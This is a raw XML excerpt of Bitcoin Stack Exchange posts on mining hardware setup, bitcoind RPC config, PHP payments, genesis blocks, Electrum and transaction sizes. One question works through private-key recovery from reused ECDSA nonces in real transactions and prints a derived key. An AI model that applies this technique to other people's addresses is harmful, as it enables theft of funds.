  <row Id="37730" PostTypeId="1" CreationDate="2015-06-02T02:29:49.127" Score="3" ViewCount="683" Body="&lt;p&gt;I'm trying to run &lt;code&gt;bfgminer&lt;/code&gt; on a Raspberry Pi but the &lt;code&gt;zeusminer&lt;/code&gt; is not being recognized. When I run the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo bfgminer-5.1.0/bfgminer -S zeusminer:all -d? -D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2015-05-31 19:47:42] setrlimit: Soft fd limit not being changed from 1024 (FD_SETSIZE=1024; hard limit=4096)&#xA; [2015-05-31 19:47:42] Started bfgminer 5.1.0&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found usb device at usb:001:007 (path=(null), vid=1c4f, pid=0002, manuf=SIGMACHIP, prod=USB Keyboard, serial=(null))&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found usb device at usb:001:006 (path=(null), vid=0403, pid=6001, manuf=FTDI, prod=FT232R USB UART, serial=AH02YA6E)&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found usb device at usb:001:005 (path=(null), vid=0bda, pid=8176, manuf=Realtek, prod=802.11n WLAN Adapter, serial=00e04c000001)&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found usb device at usb:001:004 (path=(null), vid=1a40, pid=0201, manuf=(null), prod=USB 2.0 Hub [MTT], serial=(null))&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found usb device at usb:001:003 (path=(null), vid=0424, pid=ec00, manuf=(null), prod=(null), serial=(null))&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found usb device at usb:001:001 (path=(null*), vid=1d6b, pid=0002, manuf=Linux 3.18.11-v7+ dwc_otg_hcd, prod=DWC OTG Controller, serial=bcm2708_usb)&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found usb device at usb:001:002 (path=(null), vid=0424, pid=9514, manuf=(null), prod=(null), serial=(null))&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found ft232r device at usb:001:006 (path=(null), vid=0403, pid=6001, manuf=FTDI, prod=FT232R USB UART, serial=AH02YA6E)&#xA; [2015-05-31 19:47:42] lowlevel_scan: Found vcom device at dev_t:00bc000000000000 (path=/dev/ttyUSB0, vid=0000, pid=0000, manuf=FTDI, prod=FT232R USB UART, serial=AH02YA6E)&#xA; [2015-05-31 19:47:42] Devices detected:&#xA; [2015-05-31 19:47:42] Timers: Using clock_gettime(CLOCK_MONOTONIC_RAW)&#xA; 0 devices listed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my command to try and get bfgminer to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo bfgminer-5.1.0/bfgminer --scrypt -o &amp;lt;pool&amp;gt; -u &amp;lt;user&amp;gt;.&amp;lt;worker&amp;gt; -p &amp;lt;password&amp;gt; -S zeusminer:/dev/ttyUSB0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried running the &lt;code&gt;-S&lt;/code&gt; flag with &lt;code&gt;zeusminer:all&lt;/code&gt;, &lt;code&gt;zeusminer:auto&lt;/code&gt;, and &lt;code&gt;zeusminer:/dev/ttyUSB0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway any help would be greatly appreciated. &#xA;Cheers&lt;/p&gt;&#xA;" OwnerUserId="26732" LastEditorUserId="5406" LastEditDate="2016-05-01T08:36:18.093" LastActivityDate="2018-11-04T03:00:55.607" Title="Zeusminer not being recognized with BFGminer" Tags="|litecoin|miner-configuration|asic|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37731" PostTypeId="2" ParentId="37729" CreationDate="2015-06-02T02:56:00.590" Score="0" Body="&lt;p&gt;I had the same problem. What worked for me was opening username/%appdata%/roaming/bitcoin. Then opened bitcoin.config with notepad. I changed rpcallowip=192.168.0.* to rpcallowip=192.168.0.1/24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still very new to all this. This might not be your problem, but that's what I did to remove that error. &lt;/p&gt;&#xA;" OwnerUserId="26616" LastEditorUserId="26616" LastEditDate="2015-06-02T16:22:36.790" LastActivityDate="2015-06-02T16:22:36.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37732" PostTypeId="1" CreationDate="2015-06-02T03:48:56.473" Score="1" ViewCount="551" Body="&lt;p&gt;Or can I only use it from my phone? I downloaded and installed bitcoin core. took a day to get up to date. But wallet? Balance is zero. How do or must I log in? How does it work anyway?&lt;/p&gt;&#xA;" OwnerUserId="26754" LastActivityDate="2015-06-03T12:03:38.300" Title="I have bitcoins on my smart phone. How can I see and use my bitcoins on e.g. my pc?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37733" PostTypeId="1" CreationDate="2015-06-02T04:53:01.123" Score="3" ViewCount="22818" Body="&lt;p&gt;I am trying to set up sort of a BitPay system where&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A user selects how much money they want to send (price in BTC).&lt;br&gt;&#xA;2) The system gives the user an amount of money they need to pay and the address they need to send to.&lt;br&gt;&#xA;3) The system checks if money is sent from the user's Bitcoin address, to the receiving address with the amount of bitcoins specified&lt;br&gt;&#xA;4) If all is good, display a message or whatever, if not display error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="26755" LastEditorUserId="5406" LastEditDate="2017-12-01T17:09:11.317" LastActivityDate="2023-02-20T19:55:38.297" Title="How to accept payments with Blockchain in PHP" Tags="|blockchain|php|bitpay|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37735" PostTypeId="2" ParentId="37733" CreationDate="2015-06-02T05:53:19.083" Score="5" Body="&lt;p&gt;Since you say &quot;sort of a BitPay system&quot;, I assume you don't want to use BitPay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start with dissecting some of the work people have done in the space on repositories such as &lt;a href=&quot;https://github.com/Bit-Wasp/BitWasp&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitwasp&lt;/a&gt; or &lt;a href=&quot;https://github.com/mikegogulski/bitcoin-php&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin-php&lt;/a&gt;. This is probably more than you need, however the building blocks are there for what you want to do if you wanted all of the logic to live in php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to actually generate addresses, &lt;a href=&quot;https://github.com/zamgo/PHPCoinAddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is a good place to start&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick stab at a workflow that I think would be pretty straightforward to develop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User enters value in their currency.&#xA;Querying an exchange rate table such as the one on &lt;a href=&quot;https://blockchain.info/api/exchange_rates_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info&lt;/a&gt;, display the amount in Bitcoin. &#xA;You could generate a &lt;a href=&quot;http://phpqrcode.sourceforge.net/qrsample.php?data=bitcoin%3A1AmN7cxZ7UAGqBG257Ewkh662XBCjSSYQJ%3Famount%3D1%26label%3Dryanp%26message%3DDonation%2520for%2520being%2520so%25cool&amp;amp;ecc=M&amp;amp;matrix=3&quot; rel=&quot;nofollow noreferrer&quot;&gt;QR code&lt;/a&gt; using &lt;a href=&quot;http://phpqrcode.sourceforge.net/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP QR&lt;/a&gt; as well as displaying a link to click/address to copy/paste, then verify that the transaction was completed using Blockchain.info or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or.... you could just use &lt;a href=&quot;https://github.com/blockchain/receive_payment_php_demo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info's free tool&lt;/a&gt;, but I assume you have a reason why you want to build your own solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case that I'm mistaken and you do actually want to use BitPay, you would probably use either the &lt;a href=&quot;https://bitpay.com/api#resource-Bills&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bill&lt;/a&gt; or the &lt;a href=&quot;https://bitpay.com/api#resource-Invoices&quot; rel=&quot;nofollow noreferrer&quot;&gt;Invoice&lt;/a&gt; method of the &lt;a href=&quot;https://bitpay.com/api#resource-Invoices&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitPay API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26728" LastEditorUserId="26728" LastEditDate="2017-03-06T22:24:02.070" LastActivityDate="2017-03-06T22:24:02.070" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37736" PostTypeId="1" AcceptedAnswerId="37747" CreationDate="2015-06-02T05:57:05.467" Score="2" ViewCount="877" Body="&lt;p&gt;Blockchain.info shows a graph of transactions excluding &quot;long chains&quot; of more than 10: &lt;a href=&quot;https://blockchain.info/charts/n-transactions-excluding-chains-longer-than-10&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/n-transactions-excluding-chains-longer-than-10&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to indicate that ~68% of all transactions in bitcoin are part of long chains (which just means they changed hands more than 10 times in a day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tumbling is mentioned as one reason these chains are created, but I would like to explore this deeper. What other reasons might long chains be created?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Would gambling create long chains? (continuing to send to a service that pays out sporadically to you and others)&lt;/li&gt;&#xA;&lt;li&gt;Are there other examples where two parties would legitimately want to transact between each other rapidly on blockchain?&lt;/li&gt;&#xA;&lt;li&gt;How often does tumbling create long chains? I'm not familiar with which services are popular and how many rounds are recommended.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to understand what is causing the popularity of long chains in bitcoin right now. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2015-06-02T15:11:27.600" Title="What are some causes for long chains?" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37738" PostTypeId="1" CreationDate="2015-06-02T08:17:52.680" Score="1" ViewCount="109" Body="&lt;p&gt;I am trying to create a new genesis block. But it is taking too long to compute (still running). How do I reduce ProofOfWork needed ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it this line that I have to modify ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;chainparams.cpp#L117&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bnProofOfWorkLimit = ~arith_uint256(0) &gt;&gt; 32;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and change it to some small value (i.e replace 32 by 16)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also do I have to change nBits ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;chainparams.cpp#L148&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;genesis.nBits    = 0x1d00ffff;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19374" LastActivityDate="2015-06-02T08:17:52.680" Title="How to reduce Proof of Work in bitcoind?" Tags="|bitcoind|altcoin|genesis-block|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37739" PostTypeId="1" AcceptedAnswerId="37755" CreationDate="2015-06-02T08:58:26.650" Score="12" ViewCount="23217" Body="&lt;p&gt;In Electrum, there is no &quot;New Address&quot; button to be found. I tried under the tab Addresses, but nothing there. If I go to Console and try create(), then it returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last): NameError: name 'create' is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(despite &lt;code&gt;create&lt;/code&gt; being listed under &lt;code&gt;help&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click &lt;code&gt;new&lt;/code&gt; under Receive then it says &lt;strong&gt;No more addresses in your wallet&lt;/strong&gt;. At this point I'm not sure what else I can try...&lt;/p&gt;&#xA;" OwnerUserId="14680" LastActivityDate="2019-06-10T13:15:23.250" Title="How do I create a new address in Electrum?" Tags="|electrum|address-generation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37740" PostTypeId="1" CreationDate="2015-06-02T11:12:17.050" Score="1" ViewCount="4565" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25814/ecdsa-signature-and-the-z-value&quot;&gt;ECDSA Signature and the “z” value&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from above link learn calculation of z value and to get private key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;transaction you get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;R = d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;S1 = 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;S2 = 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Z2 = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;z = 7a1a7e52797fc8caaa435d2a4dace39158504bf204fbe19f14dbb427faee50ae&lt;/p&gt;&#xA;&#xA;&lt;p&gt;private key = c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;but the other transaction not providing corresponding private key&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;with same identical &#xA;R value = d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/47106ff70bf779efc32230f5ca956d0fc563f35a3c4395d1977fc38995327fe1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/47106ff70bf779efc32230f5ca956d0fc563f35a3c4395d1977fc38995327fe1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/00b4dea9266283d93f35240f34b871b55e59c3d4a7705aa08d5745af398d9046&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/00b4dea9266283d93f35240f34b871b55e59c3d4a7705aa08d5745af398d9046&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/d6f071e082ebb8c7c7721a9019d7478489e3fd423cae6acabdbd2ffd28f5c300&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/d6f071e082ebb8c7c7721a9019d7478489e3fd423cae6acabdbd2ffd28f5c300&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/83415dded4757181c6e1c55104e2742a6f8cff05a9a46fbf029ae47b0054d511&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/83415dded4757181c6e1c55104e2742a6f8cff05a9a46fbf029ae47b0054d511&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/2bd15366f5bcc2046c480db4d6ad82450893f2a3370935ddee753325f1a7c6cc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/2bd15366f5bcc2046c480db4d6ad82450893f2a3370935ddee753325f1a7c6cc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/e96feca9744b95533a5a3f657c346d7772a5004a76f4bc8de810b7ad015f6440&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/e96feca9744b95533a5a3f657c346d7772a5004a76f4bc8de810b7ad015f6440&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/5a994f485039ebd83a0ed22cae943f0c792d85d218884f4cd80bd7cccdd75aae&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/5a994f485039ebd83a0ed22cae943f0c792d85d218884f4cd80bd7cccdd75aae&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2020-08-21T11:42:16.710" Title="Same identical R value of all transaction not provide corresponding privatekey" Tags="|transactions|private-key|signature|ecdsa|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37741" PostTypeId="2" ParentId="37729" CreationDate="2015-06-02T13:14:40.963" Score="2" Body="&lt;p&gt;Try changing it to &lt;code&gt;rpcallowip=192.168.0.0/24&lt;/code&gt;. Wildcard support was removed from &lt;code&gt;bitcoind&lt;/code&gt;, more on reasoning here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4102&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/4102&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rpcallowip=192.168.0.0/24&lt;/code&gt;is &lt;a href=&quot;http://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing&quot; rel=&quot;nofollow&quot;&gt;CIDR&lt;/a&gt; notation that is functionally the same as &lt;code&gt;192.168.1.*&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2015-06-02T13:14:40.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37742" PostTypeId="1" CreationDate="2015-06-02T13:24:15.583" Score="2" ViewCount="14044" Body="&lt;p&gt;Can I spend Inputs with 0 confirmations?? If I could, are there some restrictions?&lt;/p&gt;&#xA;" OwnerUserId="25054" LastActivityDate="2015-11-17T07:20:29.400" Title="How many confirmation do i have to wait before i can spend the inputs I already received?" Tags="|transactions|confirmations|doublespend|unconfirmed-transactions|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37743" PostTypeId="1" CreationDate="2015-06-02T13:38:55.083" Score="1" ViewCount="14040" Body="&lt;p&gt;i have read : &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending&quot;&gt;How to calculate transaction size before sending&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i will not understand what are &lt;strong&gt;in&lt;/strong&gt; and &lt;strong&gt;out&lt;/strong&gt;.&#xA;as describe in this link &lt;strong&gt;in=40 and out=16&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what does it mean???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i will send only one address to 0.20BTC of 1BTC account.&#xA;please describe this transaction size.&lt;/p&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-07-02T15:21:50.423" Title="how to calculate transaction bytes of a x BTC? x=0.2" Tags="|bitcoind|transaction-fees|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37744" PostTypeId="1" CreationDate="2015-06-02T14:18:33.883" Score="0" ViewCount="945" Body="&lt;p&gt;I have created a &lt;strong&gt;new Genesis block&lt;/strong&gt;. What values should be assigned to these fields?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace Checkpoints&#xA;{&#xA;typedef std::map&amp;lt;int, uint256&amp;gt; MapCheckpoints;&#xA;&#xA;struct CCheckpointData {&#xA;    const MapCheckpoints *mapCheckpoints;&#xA;    int64_t nTimeLastCheckpoint;&#xA;    int64_t nTransactionsLastCheckpoint;&#xA;    double fTransactionsPerDay;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The original Checkpoints assignment for main network can be found here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.2/src/chainparams.cpp#L55-L77&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.10.2/src/chainparams.cpp#L55-L77&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static Checkpoints::MapCheckpoints mapCheckpoints =&#xA;        boost::assign::map_list_of&#xA;        ( 11111, uint256S(&quot;0x0000000069e244f73d78e8fd29ba2fd2ed618bd6fa2ee92559f542fdb26e7c1d&quot;))&#xA;        ( 33333, uint256S(&quot;0x000000002dd5588a74784eaa7ab0507a18ad16a236e7b1ce69f00d7ddfb5d0a6&quot;))&#xA;        ( 74000, uint256S(&quot;0x0000000000573993a3c9e41ce34471c079dcf5f52a0e824a81e7f953b8661a20&quot;))&#xA;        (105000, uint256S(&quot;0x00000000000291ce28027faea320c8d2b054b2e0fe44a773f3eefb151d6bdc97&quot;))&#xA;        (134444, uint256S(&quot;0x00000000000005b12ffd4cd315cd34ffd4a594f430ac814c91184a0d42d2b0fe&quot;))&#xA;        (168000, uint256S(&quot;0x000000000000099e61ea72015e79632f216fe6cb33d7899acb35b75c8303b763&quot;))&#xA;        (193000, uint256S(&quot;0x000000000000059f452a5f7340de6682a977387c17010ff6e6c3bd83ca8b1317&quot;))&#xA;        (210000, uint256S(&quot;0x000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e&quot;))&#xA;        (216116, uint256S(&quot;0x00000000000001b4f4b433e81ee46494af945cf96014816a4e2370f11b23df4e&quot;))&#xA;        (225430, uint256S(&quot;0x00000000000001c108384350f74090433e7fcf79a606b8e797f065b130575932&quot;))&#xA;        (250000, uint256S(&quot;0x000000000000003887df1f29024b06fc2200b55f8af8f35453d7be294df2d214&quot;))&#xA;        (279000, uint256S(&quot;0x0000000000000001ae8c72a0b0c301f67e3afca10e819efa9041e458e9bd7e40&quot;))&#xA;        (295000, uint256S(&quot;0x00000000000000004d9b4ef50f0f9d686fd69db2e03af35a100370c64632a983&quot;))&#xA;        ;&#xA;static const Checkpoints::CCheckpointData data = {&#xA;        &amp;amp;mapCheckpoints,&#xA;        1397080064, // * UNIX timestamp of last checkpoint block&#xA;        36544669,   // * total number of transactions between genesis and last checkpoint&#xA;                    //   (the tx=... number in the SetBestChain debug.log lines)&#xA;        60000.0     // * estimated number of transactions per day after checkpoint&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="19374" LastEditDate="2015-06-02T17:24:06.907" LastActivityDate="2018-05-15T11:34:38.860" Title="What values should be initially assigned to Checkpoints for a new Genesis block?" Tags="|bitcoind|genesis-block|checkpoints|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37745" PostTypeId="2" ParentId="37743" CreationDate="2015-06-02T14:24:27.240" Score="2" Body="&lt;p&gt;In the simplest typical case, you'll have one input and two outputs (the recipient, and change). So &lt;strong&gt;in&lt;/strong&gt;=1 and &lt;strong&gt;out&lt;/strong&gt;=2. According to the linked formula, the transaction size will be about 160+2*34+10 = 258 bytes. It does not depend on how many bitcoins you are sending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the money you are sending came from many different sources, you will have many inputs and the transaction will be bigger. Again, this does not depend on the amount of money, but on the complexity of your wallet's history.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-06-02T14:24:27.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37746" PostTypeId="2" ParentId="37743" CreationDate="2015-06-02T14:41:17.393" Score="2" Body="&lt;p&gt;Usually, you want to do this to estimate a fee before sending a transaction. Transaction fees are way more complicated than they probably should be. I'll stick to calculating the transaction size here, but keep in mind there's more to the picture when talking about fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in&lt;/strong&gt; is the number of inputs, and &lt;strong&gt;out&lt;/strong&gt; is the number of outputs. If you haven't seen this discussed before, here's a crash course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a block explorer you may have noticed that some transactions use multiple inputs, even though only one address is spent from. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/52a3f2ba48598da7359cfa5d7419848d358f8739aa47bcbe36413bdcb77e9194&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/52a3f2ba48598da7359cfa5d7419848d358f8739aa47bcbe36413bdcb77e9194&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is an &quot;electronic cash system&quot;. Understanding this concept is probably the most important thing you can do as a Bitcoin user. Unfortunately, it's the part that most beginning users skip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than physical tokens like metal coins and paper banknotes, Bitcoin uses electronic tokens. There's more here: &lt;a href=&quot;http://bitzuma.com/posts/bitcoin-think-of-it-as-electronic-cash/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin: Think of It as Electronic Cash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin, there's a useful relationship:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;coin ≈ unspent output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of a transaction as a box. On the left are inputs. On the right are outputs. Each input links to the output of a previous transaction. An output can only be spent once, and it must be completely spent. An output with no later links to it can be spent, and is often referred to as an &quot;unspent coin&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/488D8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each input in a simple Alice-Pays-Bob transaction contributes ~180 bytes, if you're using uncompressed public keys, and ~148 bytes if your public keys are compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to estimate the size of the transaction in bytes, you need to know how many coins will be spent, and whether your public key is compressed or uncompressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, &quot;consumer friendly&quot; wallets won't show you your coins. You'll have to use a more advanced tool that supports &quot;coin control&quot; to do that. Bitcoin Core and Armory support coin control, as does Electrum to a limited extent.&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-06-02T14:41:17.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37747" PostTypeId="2" ParentId="37736" CreationDate="2015-06-02T15:11:27.600" Score="2" Body="&lt;p&gt;There's an extensive discussion on long chains &lt;a href=&quot;http://www.ofnumbers.com/2015/01/22/slicing-data-what-comprises-blockchain-transactions/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;long chain&quot;, as defined by bc.i, appears to be a transaction chain whose growth rate exceeds a target value in 24-hour period. Note that transaction chains are destined to become long over time. That's how chain of ownership works. It seems the thing bc.i wants to separate out is rapid velocity transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A long chain requires that a coin is given to a payee, who quickly passes it on, and so on. It's a sign of either highly coordinated effort between multiple users (unlikely) or a single user shaving a coin by making rapid-succession payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many possible causes beyond the ones you cite. For example, the game SauruTobi supposedly used high-velocity transactions, and from what I understand, so does ChangeTip. Essentially, any direct-payout service can cause long change, which covers a lot of ground.&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-06-02T15:11:27.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37748" PostTypeId="1" CreationDate="2015-06-02T16:09:10.800" Score="2" ViewCount="6567" Body="&lt;p&gt;I am completely new to bitcoin.&#xA;I recently received bitcoins from a poker site, using a receiving address that I created in Bitcoin Core.&#xA;When I realized that synchronization takes forever, I installed Electrum instead and added the receiving address to the default wallet, which is watch only.&#xA;Now I want to deposit my coins to Neteller but they are on this watch only wallet and I can't make a payment with it.&#xA;The wallet doesn't seem to have a private or public key (I read somewhere that  i might need a private key that I would then import to a new wallet?).&#xA;What the hell do I do?&lt;/p&gt;&#xA;" OwnerUserId="26758" LastActivityDate="2017-11-10T16:04:23.717" Title="Move money/address from watch only wallet" Tags="|watch-only|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
